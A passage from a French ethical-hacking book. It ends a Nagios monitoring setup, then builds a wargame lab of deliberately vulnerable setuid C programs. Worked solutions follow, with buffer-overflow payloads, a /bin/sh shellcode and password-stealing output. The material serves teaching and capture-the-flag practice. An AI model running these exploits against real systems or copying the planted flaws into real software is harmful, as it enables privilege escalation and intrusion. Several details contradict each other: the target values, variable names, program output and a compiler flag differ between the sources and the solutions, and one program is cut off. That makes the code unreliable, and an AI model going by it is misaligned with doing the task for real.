De la même manière que précédemment, nous allons d’abord aller rechercher le paquet des plug-ins Nagios sur le site de SourceForge et lancer notre ./configure puis le make et le make install. b. Configuration Nous allons copier ceci dans le fichier httpd.conf. Ces fichiers sont repris de la documentation officielle de Nagios sur le site http://www.nagios.org/ :

ScriptAlias /nagios/cgi-bin /usr/local/nagios/sbin Options ExecCGI AllowOverride None Order allow,deny Allow from all AuthName "Nagios Access" AuthType Basic AuthUserFile /usr/local/nagios/etc/htpasswd.users Require valid-user Alias /nagios /usr/local/nagios/share Options None AllowOverride None Order allow,deny Allow from all AuthName "Nagios Access" AuthType Basic AuthUserFile /usr/local/nagios/etc/htpasswd.users Require valid-user

Un fichier htacces va nous être nécessaire afin de pouvoir sécuriser par la demande d’un login et d’un mot de passe l’accès à Nagios : htpasswd -c /usr/local/nagios/etc/htpasswd.users adminnagios

Nous devons ajouter un utilisateur, nous mettrons bien entendu à la place de le nom de l’utilisateur souhaité : htpasswd /usr/local/nagios/etc/htpasswd.users

Comme nous venons de modifier les fichiers de configuration, nous allons devoir relancer les services Apache et Nagios. fasm#invoke-rc.d apache2 reload fasm#service httpd restart fasm#invoke-rc.d nagios reload fasm#service nagios restart

Notre configuration manuelle est terminée : nous pouvons dès à présent utiliser Nagios. Il existe bien sûr un moyen plus simple d’installation de Nagios, si notre système le permet : les dépôts.

2. Nagios avec les dépôts Si notre machine est une Debian ou une Ubuntu, la commande aptitude ou apt-get nous simplifiera grandement les choses. Pour les autres distributions, nous devrons nous référer à la documentation pour l’installation de nouveaux paquets. fasm#aptitude install nagios3

Dans ce cas de figure, le paquet Nagios fait un lien symbolique de /etc/apache2/conf.d/nagios.conf vers /etc/nagios3/apache.conf. La configuration d’Apache devra ensuite être rechargée (reload) à l’aide de la commande suivante : sudo /etc/init.d/apache2 reload

Comme pour l’installation manuelle, la première chose à faire est d’ajouter des utilisateurs qui pourront se connecter à l’interface web de Nagios. Les droits d’accès de l’interface web se gèrent avec htpasswd qui est un utilitaire fourni avec le serveur Apache. a. Configuration d’Apache Nous pouvons vérifier, ou ajouter le cas échéant, dans le fichier /etc/nagios3/apache2.conf les lignes suivantes : ScriptAlias /cgibin/nagios3 /usr/lib/cgibin/nagios3 ScriptAlias /nagios3/cgibin /usr/lib/cgibin/nagios3 Options FollowSymLinks DirectoryIndex index.html AllowOverride AuthConfig Order Allow,Deny Allow From All AuthName "Nagios Access" AuthType Basic AuthUserFile /etc/nagios3/htpasswd.users require validuser

La configuration suivante, comme pour l’installation manuelle, est tirée de la documentation officielle de Nagios. L’ajout des utilisateurs se fait de la même manière. fasm#htpasswd -c /etc/nagios3/htpasswd.users nagiosadmin

Nous pouvons maintenant lancer notre navigateur web favori et tester le fonctionnement de Nagios. L’URL à saisir est la suivante : http://localhost/nagios3 Puis log : nagiosadmin Puis mdp : demander lors de l’installation

b. Configurer Nagios pour le réseau LAN La configuration par défaut se trouve dans le fichier /etc/nagios3/conf.d/generichost_nagios.cfg. Elle définit les paramètres par défaut d’un host, paramètres utilisés au moment du démarrage et redémarrage de Nagios : # Generic host definition template - This is NOT a real host, just a template! define host{ name generic-host ; The name of this host template notifications_enabled 1 ; Host notifications are enabled event_handler_enabled 1 ; Host event handler is enabled flap_detection_enabled 1 ; Flap detection is enabled failure_prediction_enabled 1 ; Failure prediction is enabled process_perf_data 1 ; Process performance data retain_status_information 1 ; Retain status information across program restarts retain_nonstatus_information 1 ; Retain non-status information across program restarts check_command check-host-alive max_check_attempts 10 notification_interval 0 notification_period 24x7 notification_options d,u,r contact_groups admins

register }

Si nous ne configurons que ces fichiers, le check-host-alive (la vérification que les hosts, c’est-à-dire les clients, sont en marche) ne fonctionne pas ; il nous faudra aussi au moins un service (service.cfg) configuré par machine. Ce service utilisant le protocole ICMP et plus particulièrement le Ping, il est donc nécessaire de vérifier que le service Ping est défini pour chaque client. Dans la partie par défaut de ce fichier generic-hosts_nagios2.cfg, les notifications sont activées au démarrage. Nous allons devoir créer un fichier par machine puis nous ajouterons la passerelle (gateway) pour définir les différentes machines virtuelles correspondant à l’architecture que nous avons créée précédemment (vm_ftp, vm_web, vm_vpn...) (à adapter). Nous devrons donc : 

Créer le fichier /etc/nagios3/conf.d/host-gateway_nagios2.cfg et y placer les lignes suivantes :

# a host definition for the gateway of the default route define host { host_name gateway alias Default Gateway address xxx.xxx.xxx.xxx use generic-host } 

Ajouter le service de vérification par Ping, dans /etc/nagios3/conf.d/services_nagios2.cfg :

define service { hostgroup_name service_description check_command use notification_interval }

ping-servers PING check_ping!100.0,20%!500.0,60% generic-service 0

Nous pouvons activer le service test Ping pour l’hôte gateway ; dans le fichier /etc/nagios3/conf.d/hostgroups_nagios2.cfg : define hostgroup { hostgroup_name alias members }

ping-servers Pingable servers gateway

La configuration étant enregistrée, nous pouvons la tester. Vérifions les fichiers de configuration : nagios3 -v /etc/nagios3/nagios.cfg

Rechargeons les fichiers de configuration Nagios : /etc/init.d/nagios3 reload

ou service nagios3 reload

Nous pouvons maintenant retourner à l’interface web et vérifier que le système détecte bien notre configuration. Un temps d’attente est nécessaire ; nous devons dans certains cas attendre plusieurs minutes mais nous n’hésiterons pas à recharger régulièrement la page pour effectuer cette vérification. Ajoutons maintenant, toujours dans le fichier précédent, un groupe pour les routeurs : # La liste de nos routeurs define hostgroup { hostgroup_name router-servers alias Router Servers members gateway }

Si nous souhaitons changer l’image (icon) de cette passerelle dans le « Status Map » de l’interface web de Nagios3, nous devons éditer le fichier /etc/nagios3/conf.d/extinfo_nagios2.cfg et ajouter les lignes suivantes : define hostextinfo{ hostgroup_name router-servers notes Router servers #/usr/share/nagios/htdocs/images/logos/base/xxxxxxxx.png icon_image base/xxxxxxxx.png icon_image_alt Router vrml_image xxxxxxxx.png statusmap_image base/xxxxxxxx40.png }

Si nous souhaitons ajouter un routeur switch1, nous devons : 

Créer le fichier /etc/nagios3/conf.d/host-lynek_nagios2.cfg et y placer les lignes suivantes :

define host{ use host_name alias address }

generic-host ; quel patron? switch1 ;nom du switch Switch xxx.xxx.xxx.xxx

Nous pouvons ajouter une station ’station1’ ou tout autre nom de type Debian connecté à switch1. Nous devrons alors : 

Créer le fichier /etc/nagios3/conf.d/host-station1_nagios2.cfg et y placer les lignes suivantes :

define host{ use host_name alias address parents }

generic-host ;quel patron station1 ;nom de la machine Debian station xxx.xxx.xxx.xxx switch1

Activons le service test ping pour cette machine (vu précédemment). Activons le service test http pour cette machine si elle est serveur HTTP. Créons un groupe pour les stations Debian dans le fichier /etc/nagios3/conf.d/hostgroups_nagios2.cfg. ## liste de nos VM debian define hostgroup { hostgroup_name alias members }

VM_Debian VM Debian station1

Si nous souhaitons créer de nouvelles icônes pour d’autres machines (Debian, Windows XP, Vista), il faut :  

Vérifier que les paquetages libgd-tools et netpbm sont installés. Exécuter le script shell genicons.sh suivant sur une image Gif n’excédant pas 60 pixels.

#!/bin/bash path="/usr/bin" echo "Usage : $0 img1_sans_extension [img2 ...]" for arg do if [ -f "$arg" ]; then echo converting $arg arg="$(echo $arg | sed ’s/\.gif$//’)" $path/giftopnm $arg.gif > $arg.pnm $path/pnmtopng -transparent rgb:ff/ff/ff $arg.pnm > $arg.png $path/pnmtojpeg -quality=100 -optimize -smooth=0 $arg.pnm > $arg.jpg $path/pngtogd2 $arg.png $arg.gd2 0 1 fi done rm -f *.pnm

On obtient ainsi 4 fichiers à copier dans le répertoire /usr/share/nagios/htdocs/images/logos/base. Sélectionnons son image (icon) dans le Status Map de l’interface web de Nagios dans le fichier /etc/nagios3/conf.d/extinfo_nagios2.cfg et ajoutons les lignes suivantes : define hostextinfo{ hostgroup_name notes

VM_debian VM debian

#

notes_url http://webserver.localhost.localdomain/hostinfo.pl?host=netware1 #/usr/share/nagios3/htdocs/images/logos/base/.....png icon_image base/debian.png icon_image_alt Debian GNU/Linux vrml_image debian.png statusmap_image base/debian.gd2 }

Si nous souhaitons ajouter des machines Windows XP, il faut :    

Ajouter un groupe xp-servers dans le fichier /etc/nagios3/conf.d/hostgroups_nagios2.cfg. Ajouter aussi ce groupe xp-servers dans le fichier /etc/nagios3/conf.d/extinfo_nagios2.cfg. Créer les fichiers images pour ce type de station. Créer le fichier /etc/nagios3/conf.d/host-stationxp1_nagios2.cfg et y placer les lignes suivantes :

define host{ use host_name alias address parents } 

generic-host ; quel patron? stationxp1 ; nom de la machine Windows XP Station xxx.xxx.xxx.xxx xxxxxx

Ajouter la station dans le service Ping et le service HTTP si nécessaire...

c. Configurer Nagios pour le réseau WAN Pour ajouter une passerelle "gatewaykoala" par exemple , nous prendrons bien sûr le nom que nous voulons, après le bloc gateway que nous avons créé plus haut, il va falloir :   

Créer le fichier /etc/nagios3/conf.d/host-gatewaykoala_nagios2.cfg. Y déclarer un hôte "gatewaykoala" d’adresse "X.X.X.X" en précisant qu’il est placé après gateway en ajoutant la ligne parents gateway. Ne pas ajouter ce routeur dans le service Ping (il n’est pas configuré pour répondre).

Nous pouvons ajouter des stations après la passerelle gatewaykoala. Pour cela, il faut :    

Créer le fichier /etc/nagios2/conf.d/host-fasm_nagios2.cfg. Y déclarer un hôte "fasm" d’adresse "XXX.XXX.XXX.XXX" en précisant qu’il est placé après "gatewaykoala". Accéder à ce serveur HTTP, en utilisant le port 8000 dont le service Nagios n’existe pas encore. Ajouter le service "http:8000" (paragraphe suivant).

Nous pouvons maintenant activer les nouveaux services. Nous configurerons le monitoring de services ne nécessitant pas d’autres plug-ins que ceux installés par défaut avec Nagios.

Pour ajouter le service de test "http:8000", nous suivrons cette procédure décrite dans la documentation : 

Tester la commande :

/usr/lib/nagios/plugins/check_http -p 8000 -I XXX.XXX.XXX.XXX

Voir --help pour l’aide en ligne. Le résultat devrait être : HTTP OK : HTTP/1.1 200 OK - ... 

Ajouter les lignes suivantes dans le fichier /etc/nagios2/conf.d/service_nagios2.cfg :

define service { hostgroup_name http-servers8000 service_description HTTP8000 check_command check_http!-p 8000 use generic-service notification_interval 0 ; set > 0 if you want to be renotified } 

Créer un nouveau groupe pour cette station dans le fichier /etc/nagios3/conf.d/hostgroups_nagios2.cfg :

define hostgroup { hostgroup_name alias members } 

http-servers8000 http8000 fasm

Tester ce nouveau service.

Pour ajouter le service de test "dhcp", connaissant notre serveur DHCP ou après avoir installé un serveur DHCP sur localhost, nous procéderons comme suit : 

Tester la commande :

/usr/lib/nagios/plugins/check_dhcp -s XXXXXXX -i eth0

Le résultat pourrait être : "Erreur: Impossible de connecter le socket à l’interface eth0. Vérifiez vos droits... " ou "OK: Reçu 1 DHCPOFFER(s), bail maximum = 43200 sec. 

Ajouter les lignes suivantes dans le fichier /etc/nagios3/conf.d/service_nagios2.cfg :

define service { hostgroup_name service_description check_command use notification_interval be renotified }

dhcp-servers DHCP check_dhcp generic-service 0 ; set > 0 if you want to



Créer un nouveau groupe pour cette station dans le fichier /etc/nagios2/conf.d/hostgroups_nagios2.cfg :

define hostgroup { hostgroup_name alias members } 

dhcp-servers DHCP Servers xxxxxxxxx,yyyyyyy

Tester ce nouveau service. Il est peut-être nécessaire de donner plus de droits à Nagios.

Le SNMP (Simple Network Management Protocol) est un protocole qui va permettre aux administrateurs réseau de diagnostiquer les problèmes réseau et de gérer les équipements réseau. Pour tester le plug-in SNMP, nous pouvons effectuer les commandes suivantes : /usr/lib/nagios/plugins/check_snmp -H gateway -C public -o 1.3.6.1.2.1.1.1.0 ou system.sysDescr.0 /usr/lib/nagios/plugins/check_snmp -H gateway -C public -o interfaces.ifTable.ifEntry.ifDescr.1 ou 1.3.6.1.2.1.2.2.1.2.1 SNMP OK - loopback | IF-MIB::ifDescr.1=loopback 



Compléter les fichiers services.cfg et commands.cfg afin de tester les services disponibles sur une station Linux, la station Nagios, un routeur ADSL, ainsi que tous les services Ping. Dans le fichier commands.cfg, définir les commandes à exécuter pour tester un service. L’ensemble de ces commandes est présent sous forme d’exécutable dans le répertoire plugin de Nagios. On peut donc tester en ligne de commande si les paramètres associés aux commandes fonctionnent. De même, on obtient l’aide relative à cette commande grâce à l’option :

-h (ex: check_ping -h)

Si par exemple nous souhaitons tester le service avec SNMPGet (SNMPGet étant une commande du protocole SNMP qui permet de faire une demande à un périphérique), nous ajouterons dans commands.cfg : define command{ command_name command_line $ARG1$ -o $ARG2$ }

check_snmp $USER1$/check_snmp -H $HOSTADDRESS$ -C

Deux solutions s’offrent à nous pour tester le service SNMP avec check_snmp :  

Soit nous indiquons « en dur » les paramètres de la fonction check_snmp. Soit nous indiquons les paramètres à utiliser et ces derniers seront écrits dans le fichier services.cfg.

Certains sont entrés en dur, comme l’adresse de l’hôte. D’autres seront à entrer en complément de la commande, comme ARG1 et ARG2, c’est-à-dire deux arguments que nous indiquerons après la commande, les arguments 1 et 2. Il nous faut configurer des commandes non définies dans commands.cfg mais présentes dans le répertoire des plug-ins. Ainsi, on rajoute la définition de check_ssh, check_daytime et check_swap (voir fichier commands.cfg). 

Dans le fichier services.cfg, nous associons aux hôtes déjà définis le service que l’on souhaite tester ainsi que les arguments nécessaires à son utilisation. Exemple du SNMPGet d’une station :

define service{ use generic-service ; Name of service template to use hostgroup_name gateway service_description SNMP notification_interval 240 check_command check_snmp!public!1.3.6.1.2.1.2.2.1.2.1 }

Nous configurons ici l’hôte sur lequel nous testons le service, les périodes de test et les périodes de notification de la commande à exécuter avec ses paramètres (ceux non rentrés en dur). Les arguments de la commande sont séparés par des "!". Dans le cas du SNMPget, l’argument 1 correspondant à ARG1 dans commands.cfg est ’public’ et l’argument 2 (ARG2) est ’1.3.6.1.2.1.2.2.1.2.1’. Ces paramètres dépendent de la commande exécutée. Les chiffres ainsi déclarés ’1.3.6.1.2.1.2.2.1.2.1’ sont des OID. Les OID sont des identifiants universels, représentés sous la forme d’une suite d’entiers. Ils sont organisés sous forme hiérarchique. Ainsi, seul l’organisme 1.2.3 peut dire quelle est la signification de l’OID 1.2.3.4. Ils ont été définis dans une recommandation de l’International Telecommunication Union. Nous pourrons trouver de plus amples informations sur ce site : http://www.alvestrand.no/objectid/top.html Ainsi, pour chacune des stations précédemment définies, nous définissons les services à tester. d. Utilisation de NSClient NSClient est un exécutable à installer sous Windows qui va permettre de surveiller les services disponibles sur la machine. Nous devrons donc :  

Utiliser le serveur NSClient à installer sur la machine Windows, ainsi que le plug-in check_nt, disponible avec NSClient, afin d’interroger le serveur. Compléter les fichiers services.cfg et checkcommands.cfg en conséquence.

Une fois l’archive téléchargée puis décompressée, il nous faut copier les fichiers pNSClient.exe, pdh.dll, psapi.dll et counters.defs dans le répertoire où nous souhaitons installer NSClient (par exemple c:\nsclient). Nous devrons ensuite lancer la commande pNSClient.exe /install dans un prompt MS-DOS, ce qui installe le service NSClient sur la machine. Nous pourrons alors démarrer le service.

Les commandes et extraits de configurations sont tirés de la documentation officielle de Nagios. Du côté de la machine Nagios, il faut utiliser le plug-in check_nt qui est fourni dans le fichier zip et le copier dans le répertoire des plug-ins de Nagios. Nous devrons modifier le fichier checkcommands.cfg en y ajoutant les blocs suivants : 

Test de la mémoire utilisée :

define command{ command_name check_windows_mem command_line $USER1$/check_nt -H $HOSTADDRESS$ -v MEMUSE -w $ARG1$ -c $ARG2$ } 

Test de l’espace disque utilisé :

define command{ command_name check_windows_disk command_line $USER1$/check_nt -H $HOSTADDRESS$ -v USEDDISKSPACE -l $ARG1$ -w $ARG2$ -c $ARG3$ }

Ajout des blocs suivants dans le fichier services.cfg pour utiliser ces commandes sur la machine Windows : 

Test de la mémoire utilisée :

define service{ use generic-service ; Name of service template to use host_name Non_de_la_Station service_description MEMORY USED is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups Windows notification_interval 240 notification_period 24x7 notification_options c,r check_command check,windows_mem!50%!90% } 

Test de l’espace disque disponible :

define service{ use generic-service ; Name of service template to use host_name Non_de_la_Station service_description DISK is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups Windows notification_interval 240 notification_period 24x7 notification_options c,r check_command check_windows_disk!c!60%!80% }

Voilà, nous devrions être capables de gérer grâce à Nagios toutes nos machines virtuelles et plus.

Conclusion Notre laboratoire de hacking est prêt, nous pouvons dès à présent commencer l’installation de nos épreuves applicatives, sites web et autres afin de pouvoir tester et apprendre les techniques de hacking en toute légalité.

Mise en place des épreuves Introduction Nous allons présenter dans ce chapitre quelques épreuves afin d’avoir un laboratoire de hacking minimal et prêt à l’emploi. Il nous faudra bien sûr ensuite créer nos propres épreuves afin de nous renouveler et de pouvoir tester de nouvelles failles, nous devrons donc réaliser une veille technologique constante afin d’identifier les nouveautés et de les recréer dans notre laboratoire. Les épreuves proposées ici sont des épreuves qui ont été proposées dans différents challenges que nous avons créés, comme pour le hacknowledge-contest (http://www.hacknowledgecontest.org), ou dans lesquels nous étions challengers. Certaines épreuves viennent aussi des TP de la licence professionnelle CDAISI dite « ethical hacking » de l’université de Valenciennes, en son antenne de Maubeuge, dans laquelle nous enseignons. Nous pourrons bien sûr retrouver ces épreuves sur le web ainsi que leur solution puisque souvent des « write-up », soit les solutions, sont proposées et reprises dans différents sites.

Création de cinq épreuves applicatives

1. Configuration de la machine Une nouvelle machine spécifique pour cette série d’épreuves de type wargame est créée sous Debian. Mais qu’est-ce qu’une épreuve de type wargame ? Ce sont par exemple cinq épreuves qui se suivent et qui sont organisées de telle sorte que la résolution de la première épreuve permet l’accès à la deuxième et ainsi de suite. Mais pour réaliser cela, nous avons un premier travail de configuration. Nous allons commencer par créer un répertoire /wargame : fasm# mkdir /wargame

Nous y placerons nos épreuves, donc pour ce cas, cinq fichiers binaires et cinq fichiers source. Nous voulons un résultat semblable à ceci : challenge1:/home# ls -l /wargame/ total 96 -r-Sr-x--- 1 level2 level1 6970 Jun -r--r----- 1 root level1 530 Jun -r-Sr-x--- 1 level3 level2 6679 Jun -r--r----- 1 root level2 341 Jun -r-sr-x--- 1 level4 level3 6726 Jun -r--r----- 1 root level3 426 Jun -r-Sr-x--- 1 level5 level4 7216 Jun -r--r----- 1 root level4 1037 Jun -r-sr-x--- 1 level6 level5 6888 Jun -r--r----- 1 root level5 468 Jun

29 29 29 29 29 29 29 29 29 29

2010 2010 2010 2010 2010 2010 2010 2010 2010 2010

level1 level1.c level2 level2.c level3 level3.c level4 level4.c level5 level5.c

Nous déposerons donc dans ce répertoire ces fichiers que nous verrons plus en détail dans les sections suivantes. Nous devons d’abord créer 6 utilisateurs que nous appellerons level1 à level6. Le mot de passe de level1 sera level1 et les mots de passe des autres devront être plus compliqués car ce sont ces mots de passe qui devront être découverts au fur et à mesure. Par exemple, on se connecte sous l’identité de level1, nous allons dans /wargame découvrir le binaire correspondant qui s’appelle lui aussi level1. Si nous résolvons l’épreuve, nous devenons level2 et avons donc accès au répertoire de level2. Dans ce répertoire se trouvera un fichier nommé .passwd qui contient le mot de passe de level2. Nous pourrons ainsi nous connecter en SSH en tant que level2 avec le mot de passe trouvé précédemment pour accéder à l’épreuve 2. Nous pouvons donc nous déconnecter et nous reconnecter en level2 et ainsi de suite. Nous commençons par créer les utilisateurs :

fasm#adduser fasm#adduser fasm#adduser fasm#adduser fasm#adduser fasm#adduser fasm#adduser

level1 level2 level3 level4 level4 level5 level6

Les répertoires correspondant aux différents utilisateurs sont créés en même temps. Nous placerons à partir de level2, dans le répertoire correspondant, soit /home/level2, un fichier caché appelé .passwd dans lequel nous écrirons le mot de passe du level2. fasm#nano /home/level2/.passwd

Nous y écrivons le mot de passe de level2. Nous donnons ensuite les droits sur ce fichier .passwd : fasm#chown level2:level2 .passwd fasm#chmod 400 .passwd

Nous allons nous occuper de voir comment configurer les fichiers que nous placerons par la suite dans /wargame. Supposons que nous ayons en notre possession le fichier level1.c et le binaire level1. fasm#cd /wargame fasm#chown root:level1 level1.c fasm#chmod 440 level1.c fasm#chown level2:level1 level1 fasm#chmod 550 level1 fasm#chmod u+s level1

Le fichier level1.c appartient maintenant au groupe level1 qui a les droits en lecture sur ce fichier. L’utilisateur qui se connectera en level1 pourra donc lire le contenu du fichier mais n’aura pas le droit en écriture pour le changer. Le binaire level1 appartient au level2 et au groupe level1. Le groupe a les droits en lecture et exécution. L’utilisateur level2 a les droits de lecture et d’exécution mais en plus le bit s est mis, c’est-à-dire que si l’utilisateur level1 réussit à exploiter le binaire, il pourra sous certaines conditions devenir level2 et donc lire le mot de passe de level2 dans /home.level2/.passwd. Il nous faudra donc faire cette suite de commandes pour chaque fichier en adaptant bien sûr à chaque fois suivant le niveau. Voilà, nous avons terminé la configuration. Nous allons maintenant installer le logiciel SSH pour la connexion à distance. fasm#aptitude install openssh-server

Nous devons maintenant créer nos différentes épreuves et ensuite les déposer dans /wargame avant de leur donner les droits et appartenances décrits ci-dessus.

2. Les épreuves Les épreuves suivantes ont été proposées dans le premier hacknowledge-contest en 2008 et sont inspirées de différents challenges tels que l’insomni’hack, à Genève et des challenges en ligne. a. Épreuve level1 Le fichier level1.c est le suivant : #include #include int main(){ long val=0x41414141; char buf[20]; printf("========= ENI Challenge Securite ==============\n\n"); printf("La valeur correcte pour 0x41414141 est 0xcafedeca!\n"); printf("C’est bon pour la sante, le cafe deca !\n\n"); printf("Vous trouverez votre bonheur ici: "); scanf("%24s",&buf); printf("buf: %s\n",buf); printf("val: 0x%08x\n",val); printf("\n\n"); printf("========= ENI Challenge Securite ==============\n\n"); if(val==0xcafedeca){ seteuid(1001); system("/bin/sh"); } else { printf("Sortez!!!!\n"); exit(1); } return 0; }

Nous compilerons le fichier level1.c grâce à gcc. fasm#gcc -z stackexec -fno-stack-protector -o level1 level1.c

Nous compilerons les autres fichiers de la même manière. b. Épreuve level2 Le fichier level2.c est le suivant : #include #include int main(){ int (*ret)();

printf("========= ENI Challenge Securite ==============\n\n"); if((ret=getenv("ACISSI"))==NULL){ printf("Donnez quelque chose a executer a la variable d’environnement ACISSI\n") ; exit(1); } printf("Essaie d’executer la variable d’environnement ACISSI!\n"); seteuid(1002); printf("========= ENI Challenge Securite ==============\n\n"); ret(); return 0; }

c. Épreuve level3 Le fichier level3.c est le suivant : #include #include #include int vuln(char *arg) { char buffer[128]; strcpy(buffer,arg); return 1; } int main(int argc, char * argv[]){ char buf[128]; printf("========= ENI Challenge Securite ==============\n\n"); if(argc == 1){ printf("Usage: %s argument\n", argv[0]); exit(1); } seteuid(1003); vuln(argv[1]); printf("%s", buf); printf("========= ENI Challenge Securite ==============\n\n"); return 0; }

d. Épreuve level4 Le fichier level4.c est le suivant : #include #include #include #include #include #include



int main(int argc, char **argv){ int ifd, ofd; char ofile[16] = "/dev/null"; char ifile[32];

char buf[32]; printf("========= ENI Challenge Securite ==============\n\n"); if(argc != 2){ printf("usage, le fichier %s va essayer d’envoyer son contenu vers /dev/null\n ",argv[0]); exit(-1); } /* open files */ strcpy(ifile, argv[1]); if((ofd = open(ofile,O_RDWR)) < 0 ){ printf("erreur d’ouverture %s\n", ofile); exit(-1); } if((ifd = open(ifile, O_RDONLY)) < 0 ){ printf("erreur d’ouverture %s\n", ifile); exit(-1); }

e. Épreuve level5 Le fichier level5.c est le suivant : #include #include int main(int argc, char **argv){ int i = 10; char buffer[64]; printf("========= ENI Challenge Securite ==============\n\n"); snprintf(buffer, sizeof buffer, argv[1]); buffer[sizeof (buffer) - 1] = 0; printf("Changez la valeur de i : 10 -> 400. "); if(i==500){ printf("YEAH reussi!!\n"); seteuid(1005); system("/bin/sh"); } printf("Pas BON!! .... essayez encore\n"); printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); printf ("i = %d (%p)\n", i, &i); printf("========= ENI Challenge Securite ==============\n\n"); return 0; }

3. Solutions Notre premier challenge est prêt à être utilisé. Pour l’apprentissage, il est bien sûr préférable d’essayer par soi-même quelques heures sans aller voir la solution. Nous nous connectons donc sur la première épreuve : fasm$ssh level1@adresse_ip_machine

level1

Avant d’exploiter ce programme, il faut comprendre le lien entre le code source, le code compilé et la mémoire. Ce code est compilé, puis exécuté. La compilation du code est effectuée grâce aux commandes gcc vues précédemment. L’exécution d’un programme, c’est la copie du code compilé en mémoire, puis son exécution. Les variables initialisées, non initialisées, les allocations mémoire (malloc(), realloc()…) sont elles aussi copiées en mémoire. L’exécution, c’est le parcours régulier de la mémoire, vu comme un fil directeur qui indique quoi faire (lire une variable, écrire une variable, aller ailleurs sur le fil d’exécution, etc.). Le fil d’exécution est, pour simplifier, l’endroit où doit se rendre le processeur en mémoire pour exécuter l’instruction suivante. Dans la mémoire, nous retrouvons plusieurs données, à commencer par le nom du programme (le fameux argv[0]), et les emplacements des variables, qui sont côte à côte. Pour avoir plus de détails sur le contenu mémoire, l’exécution ou le langage assembleur, nous nous reporterons au livre « Sécurité informatique - Ethical Hacking » aux Éditions ENI. Nous allons reprendre notre première épreuve. Dans la mémoire, nous avons donc deux variables contiguës, val et buf. En effet, val et buf sont déclarées l’une en dessous de l’autre dans le programme. long val=0x41414141; char buf[20];

buf a 20 octets réservés. Si buf fait plus de 20 octets alors il déborde sur val. Nous n’avons en effet ici aucun test pour définir si ce que nous allons mettre dans buf est bien inférieur en longueur à 20 octets. Nous pouvons nous rendre compte facilement de ce comportement en donnant 22 fois la lettre « a » minuscule lors du lancement de ce programme (a vaut 0x61 en notation hexadécimale). Nous constatons que la variable val contient deux 41 et deux 61 prouvant bien qu’il est possible de modifier une variable sans la manipuler directement. Une variable déborde sur une autre, c’est donc un « buffer overflow ». Le but ici pour valider l’épreuve est donc d’arriver à écrire l’adresse 0xdeadbeef en place de 0x41414141. Nous devons effectuer un buffer overflow qui écrasera val. Les valeurs 0xdeadbeef ne correspondent à aucun caractère imprimable. Nous pouvons toutefois les envoyer via un « pipe » au programme à l’aide du programme printf (le programme shell, pas la fonction C) :

Si nous écrivons simplement printf ’AAAAAAAAAAAAAAAAAAAA\xef\ xbe\xad\xde’ | ./level1, nous arrivons en théorie à écraser val avec la valeur voulue mais rien ne se passe, le shell se termine. Nous devons donc empêcher que le shell ne se ferme et cela est possible grâce à la commande cat. level1@vm_bof:/wargame$ (printf ’AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde’; cat) | ./level1 Correct val’s value from 0x41414141 -> 0xdeadbeef! Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAïŸÞ val: 0xdeadbeef cat /home/level2/.passwd HP9u76th ˆD level1@vm_bof:/wargame$ su - level2

Nous voyons ici le mot de passe pour passer au level suivant (c’est le mot de passe que nous aurons écrit dans le fichier .passwd de l’utilisateur level2. level2 Nous avons donc un programme qui va exécuter simplement ce qui est situé dans une variable d’environnement. Nous allons donc devoir mettre dans une variable d’environnement appelée ici EGG un « shellcode » que nous pouvons trouver sur le web qui lance un /bin/sh. Cela n’a rien de bien compliqué par rapport à d’autres challenges que l’on peut trouver. Voici donc comment l’exploiter. Pour exploiter ce programme, le shellcode donné par Wikipédia est amplement suffisant (cherchons grâce à Google « shellcode wikipedia » et nous tomberons sur des shellcodes que nous pourrons utiliser : level2@vm_bof:/wargame$ EGG=`printf ’\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b \x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd \x80\xe8\xdc\xff\xff\xff/bin/sh’` level2@vm_bof:/wargame$ export EGG level2@vm_bof:/wargame$ ./level2 Trying to execute EGG! sh-3.1$ id uid=1002(level2) gid=1002(level2) euid=1003(level3) groups=1002(level2) sh-3.1$ cat /home/level3/.passwd HHTYgtfr76y

Nous plaçons donc le shellcode dans une variable que nous appelons EGG qu’il faut ensuite exporter. Il nous suffit ensuite de lancer le level2. level3 L’exploitation semble moins simple : nous sommes en présence de la fonction strcpy qui va dupliquer dans un buffer de taille fixe (128 octets) le contenu de ce qui est passé en argument au programme, et qui donc peut faire plus de 128 octets.

Nous pouvons donc écraser une partie de la mémoire avec le contenu du buffer, buffer que nous maîtrisons. Contrairement à level1 par exemple, aucune variable n’est à remplacer ; nous allons donc essayer de détourner le flux d’exécution du programme. Le programme va appeler strcpy, puis faire appel à printf. Nous allons essayer de détourner le flux du programme en lui faisant appeler autre chose que le printf initialement prévu. Voyons concrètement la technique à utiliser ici. Nous allons comme dans le level2 mettre notre shellcode dans une variable d’environnement, trouver son adresse en mémoire et l’exécuter à la place du printf. Pour cela, il ne faut pas que la machine fasse de la « randomization » de mémoire, c’est-à-dire une attribution d’adresses aléatoires. Nous allons donc vérifier cela : level3@vm_bof:/tmp/aaa$ cat /proc/sys/kernel/randomize_va_space 0

La variable randomize_va_space est à 0, ce qui indique que nous n’avons pas de randomisation. Nous allons donc réutiliser le shellcode du level2 : level3@vm_bof:/tmp/aaa$ EGG=`printf ’\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b \x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd \x80\xe8\xdc\xff\xff\xff/bin/sh’` level3@vm_bof:/tmp/aaa$ export EGG

Nous pouvons écrire un programme permettant de connaître l’adresse du shellcode. Nous devons placer ce programme dans le répertoire /tmp, pour lequel nous avons le droit en écriture. Voici un programme écrit en C issu du web que nous avons adapté à notre shellcode (surtout à la variable EGG) : level3@vm_bof:/tmp/aaa$ cat envenv.c #include #include #include int main(void){ char *p = NULL; p = getenv("EGG"); printf("@EGG= %p\r\n", p); return 0; }

level3@vm_bof:/tmp/aaa$ make envenv cc envenv.c -o envenv level3@vm_bof:/tmp/aaa$ /tmp/aaa/envenv @EGG= 0xbffffc48

